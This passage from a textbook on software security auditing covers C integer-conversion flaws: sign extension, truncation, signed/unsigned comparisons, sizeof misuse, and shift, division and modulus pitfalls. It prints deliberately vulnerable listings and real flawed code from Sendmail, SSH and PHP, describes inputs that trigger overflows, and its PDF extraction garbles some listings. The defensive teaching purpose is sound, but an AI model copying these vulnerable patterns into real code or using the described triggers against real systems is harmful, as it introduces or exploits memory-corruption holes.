changed count, nameStr, and indx to be unsigned and changed back to the previous version's length check. So the sign extension you were taking advantage of now appears to be gone because the character pointer, indx, is now an unsigned type. However, take a closer look at this line: count = (char)*indx; This code line dereferences indx, which is an unsigned char pointer. This gives you an unsigned character, which is then explicitly converted into a signed char. You know the bit pattern won't change, so you're back to something with a range of -128 to 127. It's assigned to an unsigned int, but you know that converting from a smaller signed type to a larger unsigned type causes sign extension. So, because of the typecast to (char), you still can get a maliciously large count into the loop, but only for the first label. Now look at that length check with this in mind: if (strlen(nameStr) + count < ( MAX_LEN - 1) ){ Unfortunately, strlen(nameStr) is 0 when you enter the loop for the first time. So the rather large value of count won't be less than (MAX_LEN - 1), and you get caught and kicked out of the loop. Close, but no cigar. Amusingly, if you do get kicked out on your first trip into the loop, the program does the following: nameStr[strlen(nameStr)-1] = '\0'; Because strlen(nameStr) is 0, that means it writes a 0 at 1 byte behind the buffer, at nameStr[-1]. Now that you've seen the evolution of the fix from the vantage point of 20-20 hindsight, take a look at Listing 6-12, which is an example based on a short integer data type. Listing 6-12. Sign Extension Vulnerability Example unsigned short read_length(int sockfd) { unsigned short len; if(full_read(sockfd, (void *)&len, 2) != 2) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 271 die("could not read length!\n"); return ntohs(len); } int read_packet(int sockfd) { struct header hdr; short length; char *buffer; length = read_length(sockfd); if(length > 1024){ error("read_packet: length too large: %d\n", length); return 1; } buffer = (char *)malloc(length+1); if((n = read(sockfd, buffer, length) < 0){ error("read: %m"); free(buffer); return 1; } buffer[n] = '\0'; return 0; } Several concepts you've explored in this chapter are in effect here. First, the result of the read_length() function, an unsigned short int, is converted into a signed short int and stored in length. In the following length check, both sides of the comparison are promoted to integers. If length is a negative number, it passes the check that tests whether it's greater than 1024. The next line adds 1 to length and passes it as the first argument to malloc(). The length parameter is again sign-extended because it's promoted to an integer for the addition. Therefore, if the specified length is 0xFFFF, it's sign-extended to 0xFFFFFFFF. The addition of this value plus 1 wraps around to 0, and malloc(0) potentially returns a small chunk of memory. Finally, the call to read() causes the third argument, the length parameter, to be converted directly from a signed short int to a size_t. Sign extension occurs because it's a case of a smaller signed type being converted to a larger unsigned type. Therefore, the call to read The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 272 allows you to read a large number of bytes into the buffer, resulting in a potential buffer overflow. Another quintessential example of a place where programmers forget whether small types are signed occurs with use of the ctype libc functions. Consider the toupper() function, which has the following prototype: int toupper(int c); The toupper() function works on most libc implementations by searching for the correct answer in a lookup table. Several libcs don't handle a negative argument correctly and index behind the table in memory. The following definition of toupper() isn't uncommon: int toupper(int c) { return _toupper_tab[c]; } Say you do something like this: void upperize(char *str) { while (*str) { *str = toupper(*str); str++; } } If you have a libc implementation that doesn't have a robust toupper() function, you could end up making some strange changes to your string. If one of the characters is -1, it gets converted to an integer with the value -1, and the toupper() function indexes behind its table in memory. Take a look at a final real-world example of programmers not considering sign extension. Listing 6-13 is a Sendmail vulnerability that security researcher Michael Zalewski discovered (www.cert.org/advisories/CA-2003-12.html). It's from Sendmail version 8.12.3 in the prescan() function, which is primarily responsible for parsing e-mail addresses into tokens (from sendmail/parseaddr.c). The code has been edited for brevity. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 273 Listing 6-13. Prescan Sign Extension Vulnerability in Sendmail register char *p; register char *q; register int c; ... p = addr; for (;;) { /* store away any old lookahead character */ if (c != NOCHAR && !bslashmode) { /* see if there is room */ if (q >= &pvpbuf[pvpbsize - 5]) { usrerr("553 5.1.1 Address too long"); if (strlen(addr) > MAXNAME) addr[MAXNAME] = '\0'; returnnull: if (delimptr != NULL) *delimptr = p; CurEnv->e_to = saveto; return NULL; } /* squirrel it away */ *q++ = c; } /* read a new input character */ c = *p++; .. /* chew up special characters */ *q = '\0'; if (bslashmode) { bslashmode = false; /* kludge \! for naive users */ if (cmntcnt > 0) { c = NOCHAR; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 274 continue; } else if (c != '!' || state == QST) { *q++ = '\\'; continue; } } if (c == '\\') bslashmode = true; } The NOCHAR constant is defined as -1 and is meant to signify certain error conditions when characters are being processed. The p variable is processing a user-supplied address and exits the loop shown when a complete token has been read. There's a length check in the loop; however, it's examined only when two conditions are true: when c is not NOCHAR (that is, c != -1) and bslashmode is false. The problem is this line: c = *p++; Because of the sign extension of the character that p points to, users can specify the char 0xFF and have it extended to 0xFFFFFFFF, which is NOCHAR. If users supply a repeating pattern of 0x2F (backslash character) followed by 0xFF, the loop can run continuously without ever performing the length check at the top. This causes backslashes to be written continually into the destination buffer without checking whether enough room is left. Therefore, because of the character being sign-extended when stored in the variable c, an unexpected code path is triggered that results in a buffer overflow. This vulnerability also reinforces another principle stated at the beginning of this chapter. Implicit actions performed by the compiler are subtle, and when reviewing source code, you need to examine the implications of type conversions and anticipate how the program will deal with unexpected values (in this case, the NOCHAR value, which users can specify because of the sign extension). Sign extension seems as though it should be ubiquitous and mostly harmless in C code. However, programmers rarely intend for their smaller data types to be sign-extended when they are converted, and the presence of sign extension often indicates a bug. Sign extension is somewhat difficult to locate in C, but it shows up well in assembly code as the movsx instruction. Try to practice searching through The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 275 assembly for sign-extension conversions and then relating them back to the source code, which is a useful technique. As a brief demonstration, compare Listings 6-14 and 6-15. Listing 6-14. Sign-Extension Example unsigned int l; char c=5; l= Listing 6-15. Zero-Extension Example unsigned int l; unsigned char c=5; l= Assuming the implementation calls for signed characters, you know that sign extension will occur in Listing 6-14 but not in Listing 6-15. Compare the generated assembly code, reproduced in Table 6-8. Table 6-8. Sign Extension Versus Zero Extension in Assembly Code Listing 6-14: Sign Extension Listing 6-15: Zero Extension mov [ebp+var_5], 5 mov [ebp+var_5], 5 movsx eax, [ebp+var_5] xor eax, eax mov al, [ebp+var_5] mov [ebp+var_4], eax mov [ebp+var_4], eax You can see that in the sign-extension example, the movsx instruction is used. In the zero-extension example, the compiler first clears the register with xor eax, eax and then moves the character byte into that register. Auditing Tip: Sign Extension When looking for vulnerabilities related to sign extensions, you should focus on code that handles signed character values or pointers or signed short integer values or pointers. Typically, you can find them in string-handling code and network code that decodes packets with length elements. In general, you want to look for code that takes a character or short integer and uses it in a context that causes it to be converted to an integer. Remember that if you see a signed character or signed short converted to an unsigned integer, sign extension still occurs. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 276 As mentioned previously, one effective way to find sign-extension vulnerabilities is to search the assembly code of the application binary for the movsx instruction. This technique can often help you cut through multiple layers of typedefs, macros, and type conversions when searching for potentially vulnerable locations in code. Truncation Truncation occurs when a larger type is converted into a smaller type. Note that the usual arithmetic conversions and the integral promotions never really call for a large type to be converted to a smaller type. Therefore, truncation can occur only as the result of an assignment, a typecast, or a function call involving a prototype. Here's a simple example of truncation: int g = 0x12345678; short int h; h = g; When g is assigned to h, the top 16 bits of the value are truncated, and h has a value of 0x5678. So if this data loss occurs in a situation the programmer didn't expect, it could certainly lead to security failures. Listing 6-16 is loosely based on a historic vulnerability in Network File System (NFS) that involves integer truncation. Listing 6-16. Truncation Vulnerability Example in NFS void assume_privs(unsigned short uid) { seteuid(uid); setuid(uid); } int become_user(int uid) { if (uid == 0) die("root isnt allowed"); assume_privs(uid); } To be fair, this vulnerability is mostly known of anecdotally, and its existence hasn't been verified through source code. NFS forbids users from mounting a disk remotely with root privileges. Eventually, attackers figured out that they could specify a UID of The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 277 65536, which would pass the security checks that prevent root access. However, this UID would get assigned to an unsigned short integer and be truncated to a value of 0. Therefore, attackers could assume root's identity of UID 0 and bypass the protection. Take a look at one more synthetic vulnerability in Listing 6-17 before looking at a real-world truncation issue. Listing 6-17. Truncation Vulnerabilty Example unsigned short int f; char mybuf[1024]; char *userstr=getuserstr(); f=strlen(userstr); if (f > sizeof(mybuf)-5) die("string too long!"); strcpy(mybuf, userstr); The result of the strlen() function, a size_t, is converted to an unsigned short. If a string is 66,000 characters long, truncation would occur and f would have the value 464. Therefore, the length check protecting strcpy() would be circumvented, and a buffer overflow would occur. A show-stopping bug in most SSH daemons was caused by integer truncation. Ironically, the vulnerable code was in a function designed to address another security hole, the SSH insertion attack identified by CORE-SDI. Details on that attack are available at www1.corest.com/files/files/11/CRC32.pdf. The essence of the attack is that attackers can use a clever known plain-text attack against the block cipher to insert small amounts of data of their choosing into the SSH stream. Normally, this attack would be prevented by message integrity checks, but SSH used CRC32, and the researchers at CORE-SDI figured out how to circumvent it in the context of the SSH protocol. The responsibility of the function containing the truncation vulnerability is to determine whether an insertion attack is occurring. One property of these insertion attacks is a long sequence of similar bytes at the end of the packet, with the purpose of manipulating the CRC32 value so that it's correct. The defense that was engineered was to search for repeated blocks in the packet, and then do the CRC32 calculation up to the point of repeat to determine whether any manipulation was occurring. This method was easy for small packets, but it could have a performance impact on large sets of data. So, presumably to address the performance impact, a hashing scheme was used. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 278 The function you're about to look at has two separate code paths. If the packet is below a certain size, it performs a direct analysis of the data. If it's above that size, it uses a hash table to make the analysis more efficient. It isn't necessary to understand the function to appreciate the vulnerability. If you're curious, however, you'll see that the simpler case for the smaller packets has roughly the algorithm described in Listing 6-18. Listing 6-18. Detect_attack Small Packet Algorithm in SSH for c = each 8 byte block of the packet if c is equal to the initialization vector block check c for the attack. If the check succeeds, return DETECTED. If the check fails, you aren't under attack so return OK. for d = each 8 byte block of the packet before c If d is equal to c, check c for the attack. If the check succeeds, return DETECTED. If the check fails, break out of the d loop. next d next c The code goes through each 8-byte block of the packet, and if it sees an identical block in the packet before the current one, it does a check to see whether an attack is underway. The hash-table-based path through the code is a little more complex. It has the same general algorithm, but instead of comparing a bunch of 8-byte blocks with each other, it takes a 32 bit hash of each block and compares them. The hash table is indexed by the 32-bit hash of the 8-byte block, modulo the hash table size, and the bucket contains the position of the block that last hashed to that bucket. The truncation problem happened in the construction and management of the hash table. Listing 6-19 contains the beginning of the code. Listing 6-19. Detect_attack Truncation Vulnerability in SSH /* Detect a crc32 compensation attack on a packet */ int detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV) { static u_int16_t *h = (u_int16_t *) NULL; static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE; register u_int32_t i, j; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 279 u_int32_t l; register unsigned char *c; unsigned char *d; if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || len % SSH_BLOCKSIZE != 0) { fatal("detect_attack: bad length %d", len); } First, the code checks whether the packet is overly long or isn't a multiple of 8 bytes. SSH_MAXBLOCKS is 32,768 and BLOCKSIZE is 8, so the packet can be as large as 262,144 bytes. In the following code, n starts out as HASH_MINSIZE / HASH_ENTRYSIZE, which is 8,192 / 2, or 4,096, and its purpose is to hold the number of entries in the hash table: for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2) ; The starting size of the hash table is 8,192 elements. This loop attempts to determine a good size for the hash table. It starts off with a guess of n, which is the current size, and it checks to see whether it's big enough for the packet. If it's not, it quadruples l by shifting it left twice. It decides whether the hash table is big enough by making sure there are 3/2 the number of hash table entries as there are 8-byte blocks in the packet. HASH_FACTOR is defined as ((x)*3/2). The following code is the interesting part: if (h == NULL) { debug("Installing crc compensation " "attack detector."); n = l; h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE); } else { if (l > n) { n = l; h = (u_int16_t *)xrealloc(h, n * HASH_ENTRYSIZE); } } If h is NULL, that means it's your first time through this function and you need to allocate space for a new hash table. If you remember, l is the value calculated as the right size for the hash table, and n contains the number of entries in the hash table. If h isn't NULL, the hash table has already been allocated. However, if the hash table The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 280 isn't currently big enough to agree with the newly calculated l, you go ahead and reallocate it. You've looked at enough code so far to see the problem: n is an unsigned short int. If you send a packet that's big enough, l, an unsigned int, could end up with a value larger than 65,535, and when the assignment of l to n occurs, truncation could result. For example, assume you send a packet that's 262,144 bytes. It passes the first check, and then in the loop, l changes like so: Iteration 1: l = 4096 l < 49152 l<<=4 Iteration 2: l = 16384 l < 49152 l<<=4 Iteration 3: l = 65536 l >= 49152 When l, with a value of 65,536, is assigned to n, the top 16 bits are truncated, and n ends up with a value of 0. On several modern OSs, a malloc() of 0 results in a valid pointer to a small object being returned, and the rest of the function's behavior is extremely suspect. The next part of the function is the code that does the direct analysis, and because it doesn't use the hash table, it isn't of immediate interest: if (len <= HASH_MINBLOCKS) { for (c = buf; c < buf + len; c += SSH_BLOCKSIZE) { if (IV && (!CMP(c, IV))) { if ((check_crc(c, buf, len, IV))) return (DEATTACK_DETECTED); else break; } for (d = buf; d < c; d += SSH_BLOCKSIZE) { if (!CMP(c, d)) { if ((check_crc(c, buf, len, IV))) return (DEATTACK_DETECTED); else break; } } } return (DEATTACK_OK); } Next is the code that performs the hash-based detection routine. In the following code, keep in mind that n is going to be 0 and h is going to point to a small but valid The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 281 object in the heap. With these values, it's possible to do some interesting things to the process's memory: memset(h, HASH_UNUSEDCHAR, n * HASH_ENTRYSIZE); if (IV) h[HASH(IV) & (n - 1)] = HASH_IV; for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) { for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED; i = (i + 1) & (n - 1)) { if (h[i] == HASH_IV) { if (!CMP(c, IV)) { if (check_crc(c, buf, len, IV)) return (DEATTACK_DETECTED); else break; } } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) { if (check_crc(c, buf, len, IV)) return (DEATTACK_DETECTED); else break; } } h[i] = j; } return (DEATTACK_OK); } If you don't see an immediate way to attack this loop, don't worry. (You are in good company, and also some critical macro definitions are missing.) This bug is extremely subtle, and the exploits for it are complex and clever. In fact, this vulnerability is unique from many perspectives. It reinforces the notion that secure programming is difficult, and everyone can make mistakes, as CORE-SDI is easily one of the world's most technically competent security companies. It also demonstrates that sometimes a simple black box test can uncover bugs that would be hard to find with a source audit; the discoverer, Michael Zalewski, located this vulnerability in a stunningly straightforward fashion (ssh -l long_user_name). Finally, it highlights a notable case in which writing an exploit can be more difficult than finding its root vulnerability. Auditing Tip: Truncation The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 282 Truncation-related vulnerabilities are typically found where integer values are assigned to smaller data types, such as short integers or characters. To find truncation issues, look for locations where these shorter data types are used to track length values or to hold the result of a calculation. A good place to look for potential variables is in structure definitions, especially in network-oriented code. Programmers often use a short or character data type just because the expected range of values for a variable maps to that data type nicely. Using these data types can often lead to unanticipated truncations, however. Comparisons You've already seen examples of signed comparisons against negative numbers in length checks and how they can lead to security exposures. Another potentially hazardous situation is comparing two integers that have different types. As you've learned, when a comparison is made, the compiler first performs integer promotions on the operands and then follows the usual arithmetic conversions on the operands so that a comparison can be made on compatible types. Because these promotions and conversions might result in value changes (because of sign change), the comparison might not be operating exactly as the programmer intended. Attackers can take advantage of these conversions to circumvent security checks and often compromise an application. To see how comparisons can go wrong, take a look at Listing 6-20. This code reads a short integer from the network, which specifies the length of an incoming packet. The first half of the length check compares (length sizeof(short)) with 0 to make sure the specified length isn't less than sizeof(short). If it is, it could wrap around to a large integer when sizeof(short) is subtracted from it later in the read() statement. Listing 6-20. Comparison Vulnerability Example #define MAX_SIZE 1024 int read_packet(int sockfd) { short length; char buf[MAX_SIZE]; length = network_get_short(sockfd); if(length sizeof(short) <= 0 || length > MAX_SIZE){ error("bad length supplied\n"); return 1; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 283 } if(read(sockfd, buf, length sizeof(short)) < 0){ error("read: %m\n"); return 1; } return 0; } The first check is actually incorrect. Note that the result type of the sizeof operator is a size_t, which is an unsigned integer type. So for the subtraction of (length - sizeof(short)), length is first promoted to a signed int as part of the integer promotions, and then converted to an unsigned integer type as part of the usual arithmetic conversions. The resulting type of the subtraction operation is an unsigned integer type. Consequently, the result of the subtraction can never be less than 0, and the check is effectively inoperative. Providing a value of 1 for length evades the very condition that the length check in the first half of the if statement is trying to protect against and triggers an integer underflow in the call to read(). More than one value can be supplied to evade both checks and trigger a buffer overflow. If length is a negative number, such as 0xFFFF, the first check still passes because the result type of the subtraction is always unsigned. The second check also passes (length > MAX_SIZE) because length is promoted to a signed int for the comparison and retains its negative value, which is less than MAX_SIZE (1024). This result demonstrates that the length variable is treated as unsigned in one case and signed in another case because of the other operands used in the comparison. When dealing with data types smaller than int, integer promotions cause narrow values to become signed integers. This is a value-preserving promotion and not much of a problem in itself. However, sometimes comparisons can be promoted to a signed type unintentionally. Listing 6-21 illustrates this problem. Listing 6-21. Signed Comparison Vulnerability int read_data(int sockfd) { char buf[1024]; unsigned short max = sizeof(buf); short length; length = get_network_short(sockfd); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 284 if(length > max){ error("bad length: %d\n", length); return 1; } if(read(sockfd, buf, length) < 0){ error("read: %m"); return 1; } ... process data ... return 0; } Listing 6-21 illustrates why you must be aware of the resulting data type used in a comparison. Both the max and length variables are short integers and, therefore, go through integer conversions; both get promoted to signed integers. This means any negative value supplied in length evades the length check against max. Because of data type conversions performed in a comparison, not only can sanity checks be evaded, but the entire comparison could be rendered useless because it's checking for an impossible condition. Consider Listing 6-22. Listing 6-22. Unsigned Comparison Vulnerability int get_int(char *data) { unsigned int n = atoi(data); if(n < 0 || n > 1024) return 1; return n; } int main(int argc, char **argv) { unsigned long n; char buf[1024]; if(argc < 2) exit(0); n = get_int(argv[1]); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 285 if(n < 0){ fprintf(stderr, "illegal length specified\n"); exit(-1); } memset(buf, 'A', n); return 0; } Listing 6-22 checks the variable n to make sure it falls within the range of 0 to 1024. Because the variable n is unsigned, however, the check for less than 0 is impossible. An unsigned integer can never be less than 0 because every value that can be represented is positive. The potential vulnerability is somewhat subtle; if attackers provide an invalid integer as argv[1], get_int() returns a -1, which is converted to an unsigned long when assigned to n. Therefore, it would become a large value and end up causing memset() to crash the program. Compilers can detect conditions that will never be true and issue a warning if certain flags are passed to it. See what happens when the preceding code is compiled with GCC: [root@doppelganger root]# gcc -Wall -o example example.c [root@doppelganger root]# gcc -W -o example example.c example.c: In function 'get_int': example.c:10: warning: comparison of unsigned expression < 0 is always false example.c: In function 'main': example.c:25: warning: comparison of unsigned expression < 0 is always false [root@doppelganger root]# Notice that the -Wall flag doesn't warn about this type of error as most developers would expect. To generate a warning for this type of bug, the -W flag must be used. If the code if(n < 0) is changed to if(n <= 0), a warning isn't generated because the condition is no longer impossible. Now take a look at a real-world example of a similar mistake. Listing 6-23 is taken from the PHP Apache module (4.3.4) when reading POST data. Listing 6-23. Signed Comparison Example in PHP /* {{{ sapi_apache_read_post */ The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 286 static int sapi_apache_read_post(char *buffer, uint count_bytes TSRMLS_DC) { uint total_read_bytes=0, read_bytes; request_rec *r = (request_rec *) SG(server_context); void (*handler)(int); /* * This handles the situation where the browser sends a * Expect: 100-continue header and needs to receive * confirmation from the server on whether or not it * can send the rest of the request. RFC 2616 * */ if (!SG(read_post_bytes) && !ap_should_client_block(r)) { return total_read_bytes; } handler = signal(SIGPIPE, SIG_IGN); while (total_read_bytes<count_bytes) { /* start timeout timer */ hard_timeout("Read POST information", r); read_bytes = get_client_block(r, buffer + total_read_bytes, count_bytes - total_read_bytes); reset_timeout(r); if (read_bytes<=) { break; } total_read_bytes += read_bytes; } signal(SIGPIPE, handler); return total_read_bytes; } The return value from get_client_block() is stored in the read_bytes variable and then compared to make sure a negative number wasn't returned. Because read_bytes is unsigned, this check doesn't detect errors from get_client_block() as intended. As it turns out, this bug isn't immediately exploitable in this function. Can you see why? The loop controlling the loop also has an unsigned comparison, so if total_read_bytes is decremented under 0, it underflows and, therefore, takes a value larger than count_bytes, thus exiting the loop. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 287 Auditing Tip Reviewing comparisons is essential to auditing C code. Pay particular attention to comparisons that protect allocation, array indexing, and copy operations. The best way to examine these comparisons is to go line by line and carefully study each relevant expression. In general, you should keep track of each variable and its underlying data type. If you can trace the input to a function back to a source you're familiar with, you should have a good idea of the possible values each input variable can have. Proceed through each potentially interesting calculation or comparison, and keep track of potential values of the variables at different points in the function evaluation. You can use a process similar to the one outlined in the previous section on locating integer boundary condition issues. When you evaluate a comparison, be sure to watch for unsigned integer values that cause their peer operands to be promoted to unsigned integers. sizeof and strlen () are classic examples of operands that cause this promotion. Remember to keep an eye out for unsigned variables used in comparisons, like the following: if (uvar < 0) ... if (uvar <= 0) ... The first form typically causes the compiler to emit a warning, but the second form doesn't. If you see this pattern, it's a good indication something is probably wrong with that section of the code. You should do a careful line-by-line analysis of the surrounding functionality. 7.2.7 Operators Operators can produce unanticipated results. As you have seen, unsanitized operands used in simple arithmetic operations can potentially open security holes in applications. These exposures are generally the result of crossing over boundary conditions that affect the meaning of the result. In addition, each operator has associated type promotions that are performed on each of its operands implicitly which could produce some unexpected results. Because producing unexpected results is the essence of vulnerability discovery, it's important to know how these results might be produced and what exceptional conditions could occur. The following sections highlight these exceptional conditions and explain some common misuses of operators that could lead to potential vulnerabilities. The sizeof Operator The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 288 The first operator worth mentioning is sizeof. It's used regularly for buffer allocations, size comparisons, and size parameters to length-oriented functions. The sizeof operator is susceptible to misuse in certain circumstances that could lead to subtle vulnerabilities in otherwise solid-looking code. One of the most common mistakes with sizeof is accidentally using it on a pointer instead of its target. Listing 6-24 shows an example of this error. Listing 6-24. Sizeof Misuse Vulnerability Example char *read_username(int sockfd) { char *buffer, *style, userstring[1024]; int i; buffer = (char *)malloc(1024); if(!buffer){ error("buffer allocation failed: %m"); return NULL; } if(read(sockfd, userstring, sizeof(userstring)-1) <= 0){ free(buffer); error("read failure: %m"); return NULL; } userstring[sizeof(userstring)-1] = '\0'; style = strchr(userstring, ':'); if(style) *style++ = '\0'; sprintf(buffer, "username=%.32s", userstring); if(style) snprintf(buffer, sizeof(buffer)-strlen(buffer)-1, ", style=%s\n", style); return buffer; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 289 In this code, some user data is read in from the network and copied into the allocated buffer. However, sizeof is used incorrectly on buffer. The intention is for sizeof(buffer) to return 1024, but because it's used on a character pointer type, it returns only 4! This results in an integer underflow condition in the size parameter to snprintf() when a style value is present; consequently, an arbitrary amount of data can be written to the memory pointed to by the buffer variable. This error is quite easy to make and often isn't obvious when reading code, so pay careful attention to the types of variables passed to the sizeof operator. They occur most frequently in length arguments, as in the preceding example, but they can also occur occasionally when calculating lengths for allocating space. The reason this type of bug is somewhat rare is that the misallocation would likely cause the program to crash and, therefore, get caught before release in many applications (unless it's in a rarely traversed code path). sizeof() also plays an integral role in signed and unsigned comparison bugs (explored in the "Comparison(? [????.])" section previously in this chapter) and structure padding issues (explored in "Structure Padding(? [????.])" later in this chapter). Auditing Tip: sizeof Be on the lookout for uses of sizeof in which developers take the size of a pointer to a buffer when they intend to take the size of the buffer. This often happens because of editing mistakes, when a buffer is moved from being within a function to being passed into a function. Again, look for sizeof in expressions that cause operands to be converted to unsigned values. Unexpected Results You have explored two primary idiosyncrasies of arithmetic operators: boundary conditions related to the storage of integer types and issues caused by conversions that occur when arithmetic operators are used in expressions. A few other nuances of C can lead to unanticipated behaviors, specifically nuances related to underlying machine primitives being aware of signed-ness. If a result is expected to fall within a specific range, attackers can sometimes violate those expectations. Interestingly enough, on twos complement machines, there are only a few operators in C in which the signed-ness of operands can affect the result of the operation. The most important operators in this group are comparisons. In addition to comparisons, only three other C operators have a result that's sensitive to whether operands are signed: right shift (>>), division (/), and modulus (%). These operators can produce The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 290 unexpected negative results when they're used with signed operands because of their underlying machine-level operations being sign-aware. As a code reviewer, you should be on the lookout for misuse of these operators because they can produce results that fall outside the range of expected values and catch developers off-guard. The right shift operator (>>) is often used in applications in place of the division operator (when dividing by powers of 2). Problems can happen when using this operator with a signed integer as the left operand. When right-shifting a negative value, the sign of the value is preserved by the underlying machine performing a sign-extending arithmetic shift. This sign-preserving right shift is shown in Listing 6-25. Listing 6-25. Sign-Preserving Right Shift signed char c = 0x80; c >>= 4; 1000 0000 value before right shift 1111 1000 value after right shift Listing 6-26 shows how this code might produce an unexpected result that leads to a vulnerability. It's close to an actual vulnerability found recently in client code. Listing 6-26. Right Shift Vulnerability Example int print_high_word(int number) { char buf[sizeof("65535")]; sprintf(buf, "%u", number >> 16); return 0; } This function is designed to print a 16-bit unsigned integer (the high 16 bits of the number argument). Because number is signed, the right shift sign-extends number by 16 bits if it's negative. Therefore, the %u specifier to sprintf() has the capability of printing a number much larger than sizeof("65535"), the amount of space allocated for the destination buffer, so the result is a buffer overflow. Vulnerable right shifts are good examples of bugs that are difficult to locate in source code yet readily visible in assembly code. In Intel assembly code, a signed, or arithmetic, right shift is performed with the sar mnemonic. A logical, or unsigned, right shift is performed with the shr mnemonic. Therefore, analyzing the assembly code can help you determine The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 291 whether a right shift is potentially vulnerable to sign extension. Table 6-9 shows signed and unsigned right-shift operations in the assembly code. Table 6-9. Signed Versus Unsigned Right-Shift Operations in Assembly Signed Right-Shift Operations Unsigned Right-Shift Operations mov eax, [ebp+8] mov eax, [ebp+8] sar eax, 16 shr eax, 16 push eax push eax push offset string push offset string lea eax, [ebp+var_8] lea eax, [ebp+var_8] push eax push eax call sprintf call sprintf Division (/) is another operator that can produce unexpected results because of sign awareness. Whenever one of the operands is negative, the resulting quotient is also negative. Often, applications don't account for the possibility of negative results when performing division on integers. Listing 6-27 shows how using negative operands could create a vulnerability with division. Listing 6-27. Division Vulnerability Example int read_data(int sockfd) { int bitlength; char *buffer; bitlength = network_get_int(length); buffer = (char *)malloc(bitlength / 8 + 1); if (buffer == NULL) die("no memory"); if(read(sockfd, buffer, bitlength / 8) < 0){ error("read error: %m"); return -1; } return 0; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 292 Listing 6-27 takes a bitlength parameter from the network and allocates memory based on it. The bitlength is divided by 8 to obtain the number of bytes needed for the data that's subsequently read from the socket. One is added to the result, presumably to store extra bits in if the supplied bitlength isn't a multiple of 8. If the division can be made to return -1, the addition of 1 produces 0, resulting in a small amount of memory being allocated by malloc(). Then the third argument to read() would be -1, which would be converted to a size_t and interpreted as a large positive value. Similarly, the modulus operator (%) can produce negative results when dealing with a negative dividend operand. Code auditors should be on the lookout for modulus operations that don't properly sanitize their dividend operands because they could produce negative results that might create a security exposure. Modulus operators are often used when dealing with fixed-sized arrays (such as hash tables), so a negative result could immediately index before the beginning of the array, as shown in Listing 6-28. Listing 6-28. Modulus Vulnerability Example #define SESSION_SIZE 1024 struct session { struct session *next; int session_id; } struct header { int session_id; ... }; struct session *sessions[SESSION_SIZE]; struct session *session_new(int session_id) { struct session *new1, *tmp; new1 = malloc(sizeof(struct session)); if(!new1) die("malloc: %m"); new1->session_id = session_id; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 293 new1->next = NULL; if(!sessions[session_id%(SESSION_SIZE-1)]) { sessions[session_id%(SESSION_SIZE-1] = new1; return new1; } for(tmp = sessions[session_id%(SESSION_SIZE-1)]; tmp->next; tmp = tmp->next); tmp->next = new1; return new1; } int read_packet(int sockfd) { struct session *session; struct header hdr; if(full_read(sockfd, (void *)&hdr, sizeof(hdr)) != sizeof(hdr)) { error("read: %m"); return 1; } if((session = session_find(hdr.session_id)) == NULL) { session = session_new(hdr.sessionid); return 0; } ... validate packet with session ... return 0; } As you can see, a header is read from the network, and session information is retrieved from a hash table based on the header's session identifier field. The sessions are stored in the sessions hash table for later retrieval by the program. If the session identifier is negative, the result of the modulus operator is negative, and The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 294 out-of-bounds elements of the sessions array are indexed and possibly written to, which would probably be an exploitable condition. As with the right-shift operator, unsigned and signed divide and modulus operations can be distinguished easily in Intel assembly code. The mnemonic for the unsigned division instruction is div and its signed counterpart is idiv. Table 6-10 shows the difference between signed and unsigned divide operations. Note that compilers often use right-shift operations rather than division when the divisor is a constant. Table 6-10. Signed Versus Unsigned Divide Operations in Assembly Signed Divide Operations Unsigned Divide Operations mov eax, [ebp+8] mov eax, [ebp+8] mov ecx, [ebp+c] mov ecx, [ebp+c] cdq cdq idiv ecx div ecx ret ret Auditing Tip: Unexpected Results Whenever you encounter a right shift, be sure to check whether the left operand is signed. If so, there might be a slight potential for a vulnerability. Similarly, look for modulus and division operations that operate with signed operands. If users can specify negative values, they might be able to elicit unexpected results. 7.2.8 Pointer Arithmetic Pointers are usually the first major hurdle that beginning C programmers encounter, as they can prove quite difficult to understand. The rules involving pointer arithmetic, dereferencing and indirection, pass-by-value semantics, pointer operator precedence, and pseudo-equivalence with arrays can be challenging to learn. The following sections focus on a few aspects of pointer arithmetic that might catch developers by surprise and lead to possible security exposures. Pointer Overview You know that a pointer is essentially a location in memoryan addressso it's a data type that's necessarily implementation dependent. You could have strikingly different pointer representations on different architectures, and pointers could be implemented in different fashions even on the 32-bit Intel architecture. For example, you could have 16-bit code, or even a compiler that transparently supported custom The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 295 virtual memory schemes involving segments. So assume this discussion uses the common architecture of GCC or vc++ compilers for userland code on Intel machines. You know that pointers probably have to be unsigned integers because valid virtual memory addresses can range from 0x0 to 0xffffffff. That said, it seems slightly odd when you subtract two pointers. Wouldn't a pointer need to somehow represent negative values as well? It turns out that the 